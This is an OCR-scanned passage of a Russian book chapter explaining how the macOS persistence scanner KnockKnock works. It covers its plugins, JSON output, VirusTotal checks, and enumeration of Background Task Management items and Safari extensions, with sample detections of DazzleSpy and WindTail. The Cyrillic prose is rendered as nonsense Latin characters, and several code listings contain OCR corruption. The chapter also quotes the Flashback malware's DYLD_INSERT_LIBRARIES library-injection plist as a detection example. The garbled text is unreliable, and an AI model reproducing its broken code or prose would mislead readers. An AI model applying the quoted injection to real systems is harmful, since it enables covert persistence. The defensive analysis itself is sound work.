nepeyvncnsiTb 3NIEMEHTbI, 3aKpennsaLmnecss 3TUM HOBbIM CMIOCOOOM.

MeTopn scan 6a30Boro knacca BblGpacbiBaeT UCKIIOYEHWE, €CIN Bbl3BaTb €ro HanpsAMyto (MUCTUHT 10-4).
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@implementation PluginBase

-(void)scan {

@throw [NSException exceptionWithName:kExceptName

reason:[NSString stringWithFormat:kErrFormat, NSStringFromSelector(_cmd),
[self class]] userInfo:nil];

¥
@end

JInctnHr 10-4: Bas3oBbIi METOA Scan BbIOPOCUT MUCKITHOUYEHME MPU BbI3OBE

Takon gusanH nossonaetT KnockKnock nerko Bbi3biBaTb METOA scan Kaxaoro plug-in, He 3Hasi HUYEro o
TOM, Kak MMeHHO Kaxabli plug-in nepeuncnseT persistent items csoero koHkpeTHOro Tuna. Knacc
npegocTasnseT 6a3oBble peanu3auun 4na OByX Apyrnx MeTonos, reset n processItem:, xot4 plug-ins

MOryT nepeonpeaenvTb ux npu HeobxogumocTtu. (MHaye plug-in NpocTo BbI30BET peanusaumio 6asoBoro
Knacca.)

O6a meTtoga BnustoT Ha Ul npunoxeHnusa. Hanpumep, npu BbinonHeHuun Ul scan meTog reset
obpabaTbiBaeT cuTyaLun, Korga nonb3oBaTenb OCTaHaBNUBAET, a 3aTeM 3aHOBO 3anyckaeT
CKaHupoBaHue, Torga kak metog processItem: o6HoBnsaeT Ul no mepe Toro, kak plug-ins oOHapyxunBatoT
persistent items. Bo Bpemsi command line scan metoga processItem: Bce paBHO OyAeT oTCrnexmBaTb
OoBHapyXeHHbIe 3NIEMEHTbI 1 NeYyaTaTb Kaxabli U3 HUX B TEPMUHAN NOCNe 3aBepLleHnsi CKaHMPOBaHUSA
(nucTuHr 10-5).

-(void)processItem: (ItemBase*)item {

@synchronized(self.allItems) {
[self.allItems addObject:item];
}
}

JInctunr 10-5: O6HoBREHMe rmobansHoro cnucka persistent items

KnockKnock o6bsBnseT cratudecknii cnmcok Beex plug-ins no nmeHmn ux knacca. lNosxe kog ntepmpyet
Mo 3TOMYy CMMCKY, co3Aasas ak3emnnap kaxgoro plug-in (nuctuHr 10-6).
static NSString* const SUPPORTED_PLUGINS[] = {@"AuthorizationPlugins",
@"BrowserExtensions", @"BTM", @"CronJobs", @"DirectoryServicesPlugins",
@"DockTiles", @"EventRules", @"Extensions", @"Kexts", @"LaunchItems"”,
@"DylibInserts", @"DylibProxies"”, @"LoginItems", @"LogInOutHooks",
@"PeriodicScripts"”, @"QuicklookPlugins", @"SpotlightImporters",
@"StartupScripts", @"SystemExtensions"};
PluginBase* pluginObj = nil;
for(NSUInteger i = @; i < sizeof(SUPPORTED_PLUGINS)/sizeof(SUPPORTED_PLUGINS[@]); i++) {
pluginObj = [[NSClassFromString(SUPPORTED_PLUGINS[i]) alloc] init];

b
JlnctnHr 10-6: MHuuunanusauusa kaxagoro plug-in no nmeHn

Ona nmenHun knacca kaxgoro plug-in KnockKnock BbisbiBaeT APl NSClassFromString, KoTopbl nonyyaet
knacc plug-in Ha OCHOBE yKa3aHHOro UMeHMU. 4] 3atem oH BbisbiBaeT mMeToz knacca alloc, 4Tobbl
BblAEeNMTb 9K3EeMNMAp Knacca (apyrmmm cnosamu, cosgatb 06bekT). [lanee oH Bbi3biBaeT MeToA init
TONBbKO YTO CO34aHHOro 06bekTa, YTobbl M03BONUTL 06BEKTY plug-in BbINOMHUTL BCE MHULMANM3aLUmMN.
Bckope Mbl pacCMOTPUM HECKONBKO MPUMEPOB UHULManNu3aummn. XoTsa 3gecb 3TO He Noka3aHo, 3aTem
KnockKnock BbIzoBeT MeTo4 scan Kaxgoro plug-in.
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Tunbl persistent items

KnockKnock npuceavBaert persistent items ogunH 13 Tpex Tunos: file, command nnun browser extension.
BonblnHCTBO persisted items - 3170 ncnonHsaemble dannel, Takue Kak scripts unun Mach-O binaries.
OgpHako, Kak B crny4ae cron jobs, BpegoHocHoe MO nHorga 3akpennseTcsa kak command; B Apyrmx
cny4vasix OHO 3akpennseTcsa Kak Habop ¢annos n pecypcos B opme browser extension. Ons KnockKnock
Ba)KHO MPaBWITbHO KnaccudpmumpoBaTb 9EMEHTbI, MOCKOSbKY KaXabI TUM MMEET YHUKarbHble
xapaktepucTtukn. Hanpumep, y persistent file moxeT 6biTb 3BNekaemas nHdgopmaums code signing,
nomMoraoLLas Ham knaccuduumpoBaTb ero. Mbl Takke MOXeM XelumpoBaTb Takme hannbl, YToObI
NpoBepPSATb UX Ha M3BeCTHOe BpegoHocHoe MM0.

GTMTpMTMHaSHGMeHTOBﬂBHHMTCHSubdaSSGSHOﬂb3OBaTeﬂbCKOH)KﬂaccaItemBase,HOKa3aHHON)B
nnctuHre 10-7.
@interface ItemBase : NSObject
@property(nonatomic, retain)PluginBase* plugin;
@property BOOL isTrusted;
@property(retain, nonatomic)NSString* name;
@property(retain, nonatomic)NSString* path;
@property(nonatomic, retain)NSDictionary* attributes;
-(id)initWithParams: (NSDictionary*)params;
-(NSString*)pathForFinder;
-(NSString*)toJSON;
@end

JluctnHr 10-7: UHTepdpelric knacca ItemBase

OT1OT 6a30BbIN KNacc 0ObABMAET pa3NMYHbIE CBOMCTBA, Takune Kak plug-in, 0bHapyXMBLUWIA 3NEMEHT, UMS
anemMeHTa u ero nytb. He Bce TUNbl 3N1eMEHTOB YCTaHaBMNMBAKOT KaX4oe CBOMCTBO. Hanpumep, y
commands HeT paths, Torga kak y files n extensions oHu ectb. Knacc ItemBase Takke peanuayeT
6asoBble MeTOAbBI ANA UHMLMANN3aLmMmn arnemMeHTa, Bo3Bpara ero nyTu Ansi nokasa B npunoxexHun Finder un
npeobpasoBaHus ero B JSON. XoTa 00bekThbl, HacneaywLwwmeca ot 3Toro 6a3oBoro knacca, MoryT

nepeonpenennTb Kaxablii MeTod, eCrnvi UM HYXHO, peanuaauun 6a3oBoro knacca MoXeT ObiTb
[OCTaTo4YHO.

Mocne 3aBepLueHnst MeToaa scan plug-in coxpaHsieT Bce 0OHapyXeHHbIe arieMeHThl B cBoMCTBE plug-in ¢
nmeHem allItems. Mpmn command line scan KnockKnock npeobpasyet kaxabin persistent item 8 JSON u
nobaBnsaeT ero K CTpoke, KOTopyto 3ateM nevaraeT (NMUcTuHr 10-8).

NSMutableString* output = [NSMutableString string];

for(NSUInteger i = @; i < sizeof(SUPPORTED_PLUGINS)/sizeof(SUPPORTED_PLUGINS[@]); i++) {

[plugin scan];
for(ItemBase* item in plugin.allIltems) {

[output appendFormat:@"{%@},", [item toJSON]];
}

JlnctnHr 10-8: NpeobpasoBaHue persistent items 8 JSON

Kaxxabln Tmn anemeHTa peanusyeT coBCTBEHHYO NOrMKy npeobpasoBaHmsa UHopmaumm, cobpaHHom o
persistent item, B JSON. PaccmoTpum peanusaumo metoga toJSON ans aeMeHTOoB, TUM KOTopbiX File
(nucTuHr 10-9).

@implementation File

-(NSString*)toJSON {

NSData* jsonData = nil;

jsonData =

[NSJISONSerialization dataWithJSONObject:self.signingInfo options:kNilOptions error:NULL];
NSString* fileSigs =

192



[[NSString alloc] initWithData:jsonData encoding:NSUTF8StringEncoding];

jsonData =

[NSJISONSerialization dataWithJSONObject:self.hashes options:kNilOptions error:NULL];
NSString* fileHashes = [[NSString alloc] initWithData:jsonData encoding:
NSUTF8StringEncoding];

JInctuHr 10-9: MpeobpasoBaHue cBoncTB 06bekTa File B JSON

CHauana kof ucnonb3yeTt meTo knacca NSJSONSerialization
dataWithJSONObject:options:error:, yTobbl NnpeobpasoBaTb pasnuyHbie cnosapu B JSON. 3tun
cnoBapwu BKoYaloT nHpopmaumio code signing anemeHTa n hashes. Metoa Takke npeobpasyet
4YMCIOBbIE 3HAYeHUs U3 pe3ynbTaTtoB ckaHupoBaHua VirusTotal (nuctuHr 10-10).

NSString* vtDetectionRatio = [NSString stringWithFormat:@"%lu/%lu",

(unsigned long)[self.vtInfo[VT_RESULTS_POSITIVES] unsignedIntegerValue],
(unsigned long)[self.vtInfo[VT_RESULTS_TOTAL] unsignedIntegerValue]];

JInctnHr 10-10: BeiuncneHnune detection ratio Ha ocHoBe pesynbTatoB ckaHupoBaHusa VirusTotal

TexHunyeckn cam KnockKnock He BknoyaeT norvky obHapyXeHus Bpe4OHOCHOMO KoAa; OH NuLlb
nepeuuncnset persistently installed items. 910 coenaHo HamepeHHO, NockonbkKy no3sonsaeT KnockKnock
obHapyxuBaTb HOBOe persistent malware gaxe 6e3 npsmMoro anpMopHoro 3HaHusa o Hem. OgHako
nHterpaumsa KnockKnock ¢ VirusTotal nossonsiet nomeyaTtsb yxe nssectHoe BpegoHocHoe MO, otnpasnss
POST request ¢ xewem kaxgoro persistent item B query API VirusTotal. 31oT API Bo3BpaLLaeT 6a3oByto
nHdopmaumio 06 obHapyxeHUW, Hanpumep CKONbKOo antivirus engines NpockaHMpoBany aNeMEHTbI 1
CKONbKO M3 9TUX engines OTMeTWUNu ero kak BpeaoHocHbIN. KnockKnock npeobpasyet aTu AaHHbIe B
CTPOKOBOE OTHOLLIEHME BMaa positive detections/antivirus engines, a 3atem oTobpaxaeT 3TOT pe3ynbTaT B
Ul nnn command line output. 51

MeToa toJSON 3akaH4MBaeT NocTpoeHneM oaHoro string object, koTopbi 0b0beaunHseT npeobpasoBaHHble
cnosapu, oT(hopMaTUPOBaHHbLIE YMCMOBbLIE 3HAaYEHMS U BCe OCTalnbHble CBOMCTBA OObeKTa anemMeHTa
(nucTtuHr 10-11).

NSString* json = [NSString stringWithFormat:@"\"name\": \"%@\", \"path\":

\"%@\", \"plist\": \"%@\", \"hashes\": %@, \"signature(s)\": %@, \"VT

detection\": \"%@\"", self.name, self.path, filePlist, fileHashes,
fileSigs, vtDetectionRatio];

JnctnHr 10-11: NMocTtpoerne JSON-ified cTpokn

OH BO3BpaLlaeT 3Ty CTPOKY BbI3blBAKOLLEMY KOAY ANst nevatu. Hanpumep, B cMCTEME, 3apaXXeHHOM
persistent malware DazzleSpy, KnockKnock nokasan 6bl cnegytowuin JSON B TepmMuHane:

% KnockKnock.app/Contents/Mac0S/KnockKnock -whosthere -pretty

{

"path" : "\/Users\/User\/.local\/softwareupdate”,
"hashes" : {

"md5" : "9DC9D317A9B63599BBC1CEBA6437226E",

"shal" : "EE@678E58868EBD6603CC2EO6A134680D2012C1B"
¥

"VT detection" : "35\/76",

"name" : "softwareupdate",

"plist" : "\/Library\/LaunchDaemons\/com.apple.softwareupdate.plist”,
"signature(s)" : {

"signatureStatus" : -67062

}

}

BbiBOA, NoKasbIBaeT HECKOMbKO KpacHbIX (haros, ykasblBaroLLMX Ha TO, YTO 3TOT 3NIEMEHT, BEPOSITHO,
BpenoHoceH. Hanpumep, oH 3anyckaeTcs U3 CKpbITOro katanora (. local), n XoTa OH 3asBNSIET, YTO
sasnsietca Apple software updater, ero signature status paBeH -67062, 4YTO COOTBETCTBYET KOHCTaHTE
errSecCSUnsigned. OgHako oKOHYaTENbHO MAEHTUMULMPYET 3TOT ANEMEHT Kak BpedoHocHoe MO
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detection ratio VirusTotal, nokasbiBatoLLee, 4TO MPMMEPHO NONoBMHa antivirus engines Ha canTe oTMeTuUna
€ro Kak Bpe4oHOCHbIN.

UccnepoBaHue plug-ins

KnockKnock nmeet npumepHo 20 plug-ins ansa obHapyXeHust MHOXeCTBa persistent items, Bkniovas
aneMeHThl, xpaHswuecs B Background Task Management, browser extensions, cron jobs, dynamic library
inserts and proxies, kernel extensions, launch items, login items, Spotlight importers, system extensions n
MHoroe gpyroe. XoTsi 1 He Byay NOKpbIBaTb 34€Chb kKaxabin plug-in, s rny0boko pa3depy HECKONbKO U3 HUX U
npvBeay npumepbl BpegoHocHoro MO, KoTopoe OHU MOryT OGHapPYXNTb.

Background Task Management

B rnaee 5 Mbl uccriegoBanu HegOKYMeHTUpOBaHHYo noacucteMmy Background Task Management,
koTopyto macOS ucnonb3yeTt Ansa ynpaeneHus n oTcnexusaHus persistent items, Takux kak launch
agents, daemons u login items. Yepes reverse engineering s nokasan Bam, Kak jecepuanu3oBaTtb
3M1EMEHTbI, yrpaBnsieMble NOACUCTEMON, cpean KOTopbiX MOXeT ObiTb persistently installed malware.
3arem mbl co3ganu open source library, koTopyto g Hazgan DumpBTM u koTopas goctynHa Ha GitHub
(https://github.com/objective-see/DumpBTM). Utobbl nepeuncnaTe persistently installed launch u login
items, KnockKnock ncnonbayet aTy 6ubnuoreky.

MpumeyaHue. B Xcode MoxHO nogkniountb 6ubnunoteky Ha Bknagke Build Phases Bawero npoekta. Tam
pasepHuTte Link Binary With Libraries, HaxxmuTe +, a 3atem nepengnte Kk bubnuoTteke.

Mocne nogkntodeHuns 6ubnmotekn DumpBTM plug-in Background Task Management B8 KnockKnock
MOXeT HanpsAMYyo Bbl3blBaTb €€ aKCnopTMpoBaHHble API, Takne kak yHKUNSA parseBTM. OyHKUMSA
npuHMMaeT nyTb k cpanny Background Task Management (unun nil, 4yto6bl N0 yMONYaHMIO MCNOMb30BaTh
CcMCTEeMHbIV dharin) n Bo3BpalLaeT cnosapb, cogepXalwun gecepmannsoBaHHslie metadata o kaxgom
persistent item, ynpasnsemom Background Task Management. JInctuHr 10-12 nokasbiBaeT oparMeHT
Koda B meToze scan plug-in.

#import "dumpBTM.h"
-(void)scan {

if(@available(mac0S 13, *)) {
NSDictionary* contents = parseBTM(nil);

}
¥

JnctnHr 10-12: BeizoB 6ubnunotekm DumpBTM

37107 Kop ncnonbayeT Objective-C keyword @available, ytobbl y6eantbes, 4To plug-in BbINOMHSETCS
Tonbko Ha Bepcuax macOS 13 n Hosee (nNockonbky nogcuctema Background Task Management He
cywiecTByeT B bonee paHHux Bepcusx). 3atem KnockKnock ntepupyet no metadata ans kaxgoro
persistent item, Bo3BpalleHHoro yHkUmnen parseBTM 6udnmnotekn DumpBTM, n ans kaxgoro co3gaet
006bekT anemeHTa File. OH genaeT 370, BbI3blBas MeToA knacca File initWithParams:, koTopbiii
NpUHMMAaET CnoBapb 3Ha4YeHUn ansa obbekTa, BKYaa nyTb 1, Ans launch items, property list.

O6paTtuTe BHMMaHWE, YTO KOA SIBHO MpoBepsieT Hanu4dme property list, nockonbky HekoTopble persistent
items B 6a3e gaHHbIx Background Task Management, Takue kak login items, He OyayT cogepxaTb ero
(nuctuHr 10-13). 3710 BaXkHaa NpoBepKa, NOCKOSbKY BCTaBka HecylecTBytowero (nil) snemeHTa B
crnoBapb NpuBeAeT K OO0t Nporpammei.
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NSMutableDictionary* parameters = [NSMutableDictionary dictionary];
parameters[KEY_RESULT_PATH] = item[KEY_BTM_ITEM_EXE_PATH];

if(nil != item[KEY_BTM_ITEM_PLIST_PATH]) {
parameters[KEY_RESULT_PLIST] = item[KEY_BTM_ITEM_PLIST_PATH];

File* fileObj = [[File alloc] initWithParams:parameters];
Jnctner 10-13: CosgaHune crioBapsi napameTpoB AN MHMUManm3aumm obbekta File

Mmes nHnumanuanpoBaHHbii 06bekT File, plug-in Background Task Management B KnockKnock Tenepb
MOXET Bbl3BaTb MeTof 6a30Boro knacca plug-in processItem:, 4toGbl 3anycTute o6HoBneHne Ul unu,
npy command line scan, OGaBUTbL SNEMEHT B CMMCOK 3N1EMEHTOB, persistently installed B cucteme.

Mcnonb3ys 6nbnmnoteky DumpBTM, KnockKnock moxeT nerko nepeuncnatb Bce persistent items,
ynpaBnsiemble nogcuctemon. B crnegytollem BbiBoge Bbl MOXETE BUAETb, KAk UHCTPYMEHT oTOOpaxaeT
netanu cyber-espionage implant WindTail, koTopbiin 3akpennseT npunoxeHme ¢ UMeHeM
Final_Presentation.app kak login item:

% KnockKnock.app/Contents/MacOS/KnockKnock -whosthere -pretty

"Background Managed Tasks" : [

{

"path" : "\/Users\/User\/Library\/Final_Presentation.app\/Contents\/MacOS\/usrnode",
"hashes" : {

"md5" : "C68A856EC8F4529147CE9FD3A77D7865",

"shal" : "758F10BD7C69BD2COB38FD7D523A816DB4ADDD90"
¥

"VT detection" : "41\/75",

"name" : "usrnode",

"plist" : "n\/a",

"signature(s)" : {

"signatureStatus" : -2147409652

}

}

]

MHorue antivirus engines Ha VirusTotal Tenepb nomeyvatoT BpegoHocHoe 10, a npoeepka ero signature
BO3BpallaeT -2147409652, 4TO COOTBETCTBYET KOHCTaHTe "certificate revoked",
CSSMERR_TP_CERT_REVOKED. OgHako KnockKnock nokasan 6bl npucyTcTBue persistent item gaxe go
TOro, Kak antivirus engines Ha VirusTotal paspaboTtanu gns Hero signatures.

K coxaneHuto, HuKakas BHELLHAs: BMbnnoTeka He MOXET NepedncnaTe MHOrMe gpyrue Knacchbi
persistence, koTopble nokpeiBaeT KnockKnock, nosTtomy Ham npugetcsa nucaTtb 6onblue Koga camuM.
OpvH npumep - plug-in browser extension, KOTOPbIV Mbl ceERYac paccCMOTPUM.

Browser Extension

BonblnHcTBO adware ang macOS ycTtaHaBnuBaeT BpeAOHOCHOe browser extension, YTobbl 3axBaTbiBaTb
MOMCKOBbIE pe3ynbTaThbl, MOKa3biBaTb peKnamMy Unn gaxe nepexesaTbiBaTb browser traffic. TunnyHblie
npuMepbl Takon adware BkrtodatoT Genieo, Yontoo u Shlayer.

Mockonbky Hukakme APl macOS He MoryT nepeuncrnaTb yCTaHOBMNEHHbIE browser extensions, KnockKnock
[OOIKEH AenaTtb 3TO CaMOCTOSITENbHO. XyXe TOro, NOCKONbKY Kaxabli 6pay3ep ynpaBnseT CBOUMM
extensions no-ceoemy, KnockKnock gosmkeH peanusoBaTb cneumanbHbI KoL nepeyvncneHns ans
Kaxxgoro. B HacTosiLee BpeMsi MHCTPYMEHT NogdepXmMBaeT nepevmcneHune extensions gns 6paysepos
Safari, Chrome, Firefox n Opera. B aTom pasgene Mbl paccMOTpUM KOA, OTHocALWmnca k Safari.

YT06bI NepeuncnuTb yctaHoBneHHble 6pay3epbl, KnockKnock ncnonb3yeTt oTHOCMTENbHO
manowussecTHble APl Launch Services (nuctuHr 10-14).
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- (NSArray*)getInstalledBrowsers {

NSMutableArray* browsers = [NSMutableArray array];

CFArrayRef browserIDs = LSCopyAllHandlersForURLScheme(CFSTR("https"));
for(NSString* browserID in (__bridge NSArray *)browserIDs) {

CFURLRef browserURL = NULL;

LSFindApplicationForInfo(kLSUnknownCreator,
(__bridge CFStringRef)(browserID), NULL, NULL, &browserURL);
[browsers addObject:[(__bridge NSURL *)browserURL path]];

return browsers;

}

NuctnHr 10-14: MonyyeHune cnncka ycTaHoBNEeHHbIX 6pay3sepos ¢ nomolubio APl Launch Services

Kog Bbi3biBaeT API LSCopyAllHandlersForURLScheme co cxemon URL https, 4To BO3BpallaeT maccus,
copepxawwmn bundle IDs npunoxeHun, cnocobHbix obpabaTtbiBaTh 3Ty cxemy. 3aTem ko BbidbiBaeT API
LSFindApplicationForInfo, 4ToGbl conocTaBuTb Kaxkabii ID ¢ nyTemM NpUNoXeHUs, COXpaHsast 3T MyTu
B MaccwvB, KOTOPbI BO3BpaLLAETCA Bbi3blBAOLLEMY KOAY.

B macOS 12 Apple nobasuna metoa URLsForApplicationsToOpenURL: B knacc NSWorkspace, 4Tobbl
BO3BpaLlaTb BCE NPUNOXeHns, cnocobHble OTKpbITb YkasdaHHbIn URL. Bei3os aTtoro metoga ¢ URL
Be6-CTpaHULbl BEPHET CMNCOK BCEX YCTaHOBIMEHHbIX Bpay3epoB. [1nsi 6onee HoBbIx Bepcuii macOS
KnockKnock ucnonbsyet atoT API (nuctuHr 10-15).

#tdefine PRODUCT_URL @"https://objective-see.org/products/knockknock.html"

NSMutableArray* browsers = [NSMutableArray array];

if(@available(macOS 12.0, *)) {

for (NSURL* browser in [NSWorkspace.sharedWorkspace URLsForApplicationsToOpenURL:
[NSURL URLWithString:PRODUCT_URL]]) {

[browsers addObject:browser.path];

}

}

JnctnHr 10-15: MNonyyeHne cnmncka yCTaHOBMEHHbLIX Bpay3epoB C MOMOLLILIO MeToAa
URLsForApplicationsToOpenURL:

Koa onst nepeuncnenus browser extensions Safari MoxkHO HanTu B MeToae scanExtensionsSafari:
plug-in browser extension B KnockKnock. B nuctuHre 10-16 koA Bbl3biBaeT 3TOT METOA C
MecTonornoxeHnem Safari, HangeHHbIM C MOMOLLbIO NpeablayLLero Koga.

NSArray* installedBrowsers = [self getInstalledBrowsers];

for(NSString* installedBrowser in installedBrowsers) {

if(NSNotFound != [installedBrowser rangeOfString:@"Safari.app"”].location) {
[self scanExtensionsSafari:installedBrowser];

¥
)3
JInctnHr 10-16: BbizoB noruku, cneundmnyHon gnst Safari, 4ytobbl nepeuncnutb ero extensions

MecTononoxeHune browser extensions Safari MeHsinock ¢ rogamm; X MOXXHO ObINIO HAWTK B KaTarnore
~/Library/Safari/Extensions, noka Apple He pewmnna nepemectutb ux B keychain. Ctapble Bepcum
KnockKnock nbiTanuce nocneeatb 3a 3TUMU U3MEHEHUSMU, HO TENEpPb OH Ucnonb3yeT 6onee NpocTomn
mMeTop;: BbinonHseT macOS-ytunuty pluginkit (nuctmHr 10-17).

for(NSString* match in @[@"com.apple.Safari.extension", @"com.apple.Safari.content-blocker"]) {
NSData* taskOutput = execTask(PLUGIN_KIT, @[@"-mAvv", @"-p", match]);

}

JluctnHr 10-17: MNepeuncneHne ycTaHoBEHHbIX Safari extensions
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AprymMeHT -m HaxoauT Bce plug-ins, COOTBETCTBYHOLLNE KPUTEPUAM MOUCKA, 3aaHHBIM apryMeHTOM -p;
aprymeHT -A BO3BpalllaeT BCe BEPCUMN YCTAHOBMNEHHLIX plug-ins, a He TONbKO CTapLUyo BEPCUIO; @ -VV
BO3BpaLlLlaeT noapobHbIv BbIBOA, BKItovatowmi display name m parent bundle. [Ins aprymeHTa -p Mbl
CHa4vana ucrnonb3yem com.apple.Safari.extension, 3atem com.apple.Safari.content-blocker.
OT0 rapaHTUpyeT, YTO Mbl NEPEYMCIINM KakK TpaguuunoHHble extensions, Tak u content blocker extensions.

Mel BeinonHsem pluginkit Bo helper-pyHkuun, koTopyto HasBanu execTask (obcyxganack B rnase 1);
OHa MPOCTO 3anycKaeT yKa3aHHY NporpaMMy € fiobbiMU yKasaHHbIMU apryMeHTamun 1 Bo3BpaliaeT
BbIBOZ Bbi3biBatoLLeMy kofy. [MonpobyiiTe camocTosTensHo 3anyctutb pluginkit, 4tobbl nepeuncnuTb
Safari extensions, yctaHoBneHHble Ha Bawem Mac. B cnegytoliem BbiBoAe BUOHO, YTO Y MEHS
yctaHoBneH ad blocker:

% pluginkit -mAvv -p com.apple.Safari.extension

org.adblockplus.adblockplussafarimac.AdblockPlusSafariToolbar

Path = /Applications/Adblock Plus.app/Contents/PlugIns/Adblock Plus Toolbar.appex
UUID = 87C62A05-974F-4E6C-81EE-304D4548DA60

SDK = com.apple.Safari.extension

Parent Bundle = /Applications/Adblock Plus.app

Display Name = ABP Control Panel

Short Name = $(PRODUCT_NAME)

Parent Name = Adblock Plus

Platform = macOS

Vcnonb3oBaHme 3TOro BHeLHero buHapHoro ganna umeeT HegoCcTaToK: OHO BBOAMT dependency u
HeobxooMMOCTb pa3bupaTtb ero BbIBOA, HO 3TO BCE paBHO CaMblli HAAEXHbIN BapuaHT. CyLecTByeT MHOIoO
cnocoboB pa3obpatb ntoboi BeiBoa. B nuctuHre 10-18 KnockKnock ncnonb3yeT nogxoAd, Npy KOTOPOM
nssnekaet ums, nyte 1 UUID kaxgoro extension.

-(void)parseSafariExtensions: (NSData*)extensions browserPath:(NSString*)browserPath {
NSMutableDictionary* extensionInfo = [NSMutableDictionary dictionary];
extensionInfo[KEY_RESULT_PLUGIN] = self;

extensionInfo[KEY_EXTENSION_BROWSER] = browserPath;

for(NSString* line in

[[[NSString alloc] initWithData:extensions encoding:NSUTF8StringEncoding]
componentsSeparatedByCharactersInSet:[NSCharacterSet newlineCharacterSet]]) {
NSArray* components = [[line stringByTrimmingCharactersInSet:

[NSCharacterSet whitespaceCharacterSet]] componentsSeparatedByString:@"="];
// key and value set to first and last component

if(YES == [key isEqualToString:@"Display Name"]) {
extensionInfo[KEY_RESULT_NAME] = value;

} else if(YES == [key isEqualToString:@"Path"]) {
extensionInfo[KEY_RESULT_PATH] = value;

} else if(YES == [key isEqualToString:@"UUID"]) {
extensionInfo[KEY_EXTENSION_ID] = value;

}

}

Jlnctunr 10-18: Pa3bop BbiBOAa, coaepKallero yctaHoBneHHble Safari extensions

Kop pasbopa pasgensieT BbIBOA NMOCTPOYHO, a 3aTeM pa3buBaeT Kaxayt CTPOKy Ha key-value pairs,
ncnonb3ys 3Hak paBeHcTBa (=) kak delimiter. 9To, Hanpumep, pa3obbeT CTpoky Path =
/Applications/Adblock Plus.app/Contents/PlugIns/Adblock Plus Toolbar.appex Ha Koy
Path 1 3Ha4yeHue, cogepxallee nNyTb K ycTaHoBNeHHoMy extension ad blocker. 3aTem ko nssnekaet
nHTepecyowme key-value pairs, Takue kak nyTtb, umsa n UUID.

Mcnonbays nyTb K extension, mbl 3arpyxaem ero pann Info.plist n nssnekaem onmcaHue extension u3s
kntovya NSHumanReadableDescription (nuctunr 10-19).
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details = [NSDictionary dictionaryWithContentsOfFile:

[NSString stringWithFormat:@"%@/Contents/Info.plist",
extensionInfo[KEY_RESULT_PATH]]][@"NSHumanReadableDescription"];
extensionInfo[KEY_EXTENSION_DETAILS] = details;

Extension* extensionObj = [[Extension alloc] initWithParams:extensionInfo];

Jinctunur 10-19: Munumanusayms obvekta Extension ans kaxpgoro extension

HakoHeL, Mbl co3gaem obbekT anemeHTa browser Extension B KnockKnock ¢ cobpaHHbiMM metadata
extension.

Dynamic Library Insertion

O6paseL BpegoHocHoro MO, nseecTtHbIV kak Flashback, pa3bun npeacraBsneHne o ToM, 4TO
onepaumoHHas cuctema Apple HeBocrnpuuMumnBa k BpegoHocHomy [10. 8] Flashback 3KcnnyaTuposarsn He
nponaTyeHHy yA3BMMOCTb, CMOCOOHYI0 aBTOMaTUYECKU 3apaxaTtb Mofb30BaTenen, KoTopble
nepexoounu Ha Bpe4oHOCHbIN Be6-canT. OBbHapyxeHHbIn B 2012 rogy, oH Habpan 6onee nonymmunnnoHa
XepTB, CTaB CaMblM yCneLHbIM BpedoHOCHbIM 10 gns Mac Ha TOT MOMEHT.

Flashback Takke 3akpennsancs HoBbIM M CKpbITHEIM cnocobom. B 3apaxeHHol cucteme BpegoHocHoe 10
nonyyano user-assisted persistence, nogpbiBasa gavn Info.plist Safari n BctaBnssa cnegyrowmn
CcnoBapb MNOA KIYOM C UMeHeM LSEnvironment:

<key>LSEnvironment</key>

<dict>

<key>DYLD_INSERT_LIBRARIES</key>

<string>/Applications/Safari.app/Contents/Resources/UnHackMeBuild</string>
</dict>

Kntou DYLD_INSERT_LIBRARIES crioBapsl COOEPXMWT CTPOKY, YKa3blBaloLLy0 Ha BPeOOHOCHY0 6G1bnvoTeky
UnHackMeBuild. Safari 3arpyauT aTy 6ubnuoTteky B Opay3ep npu 3anycke, rae BpegoHocHoe MO cmoxeT
CKPbITHO BbIMOSHATLCS.

CerogHsa Apple B ocHoBHOM cmsirduna dylib insertions yepes nepeMeHHyI0 OKpY>XeHNs
DYLD_INSERT_LIBRARIES m gpyrne nogxoabl. Dynamic loader Tenepb UrHopmpyeTt 3T NepemMeHHble B
LUMPOKOM [umana3oHe cry4vyaes, Hanpumep ans platform binaries unu gnsa npunoxexun,
CKOMMNUNMpoBaHHbIX ¢ hardened runtime. [7] OpHako nporpammbl, nogaepxusatowme third-party plug-ins,
0cobeHHO Ha cTapbix Bepcusix macOS, Bce ele MoryT ObiTb MOA PUCKOM.

Moatomy KnockKnock cogepxut plug-in ans obHapyxeHust Takoro Tuna nogpbeiea. OH ckaHupyeT launch
items u applications, npoBepsis Hannume 3anucu DYLD _INSERT_LIBRARIES. [Ans launch items ata 3anuncb
HaxoguTcs nog kntovoM EnvironmentVariables B ux property list file, a ans applications ee MoxHo
HanTW NoA KM4YOM C MMeHeM LSEnvironment B cpanne Info.plist npunoxeHus, kak Mbl BUOeNM ¢
Flashback. Nockonbky nerMTuMHble arneMeHTbl peako ucnonb3ytoT persistent DYLD_INSERT_LIBRARIES
insertions, cnegyeT BHUMATENBLHO U3yyaTh NoOble HAMAEHHbIE 9K3EMMNNSAPHI.

Opyrue plug-ins TpebytoT noxoxero cnucka Beex launch items u applications, noatomy KnockKnock
cosfaet 3ToT cnucok B global enumerator. [lasante kpaTtko nocmoTpum, kak KnockKnock peluaet Takoe
nepeyvvcrnieHne, COCpeaoTOUMBLUUCE Ha cnydae installed apps, MOCKOMNbKY €CTb HECKOJTbKO CNocob0B
nepeyncnuTb 3TN anemeHTbl Ha Mac. HanmeHee pekomeHayeMblI cnocob - Bpy4YHYO Nepeuncnstb
bundles, HangeHHble B common application directories (Takux kak /Applications), nockonbKy Bam
npuvwnock 6bl yunteiBaTh subdirectories, Hanpumep /Applications/Utilities/, a Takke user-specific
applications. Kpome Toro, applications moryT 6bITb yCTaHOBMNEHbI B ApYrnx MecTax.

198



My6nukauus Stack Overflow npegnaraet nyywme BapuaHThbI. 8] K M oTHOCATCS Mcnonb3oBaHue
yTunuThl 1sregister ans nepedncneHuns Bcex applications, 3apermctpupoBaHHbix B Launch Services;
ncnonb3oBaHue ytunutbl mdfind nnm cesasaHHbix Spotlight APls ansa nepeuncnenus Bcex applications,
npouHaekcMpoBaHHbix mMacOS; nnu ncnonb3oBaHne macOS-yTnnnTbLl system_profiler, 4yToObI
nony4ntb cnucok applications, nssectHeix software configuration onepaunoHHON cncTemsl.

KnockKnock BbibupaeT noaxoa ¢ system_profiler. UHCTpyMeHT moxeT BbiBOAMTL XML nnm JSON,
KOTOpble NErko NPorpamMmMHO NOrnoTUTL U paszobpatsb. Bot npumep XML-BbiBoga BMecTe ¢ metadata gnsi
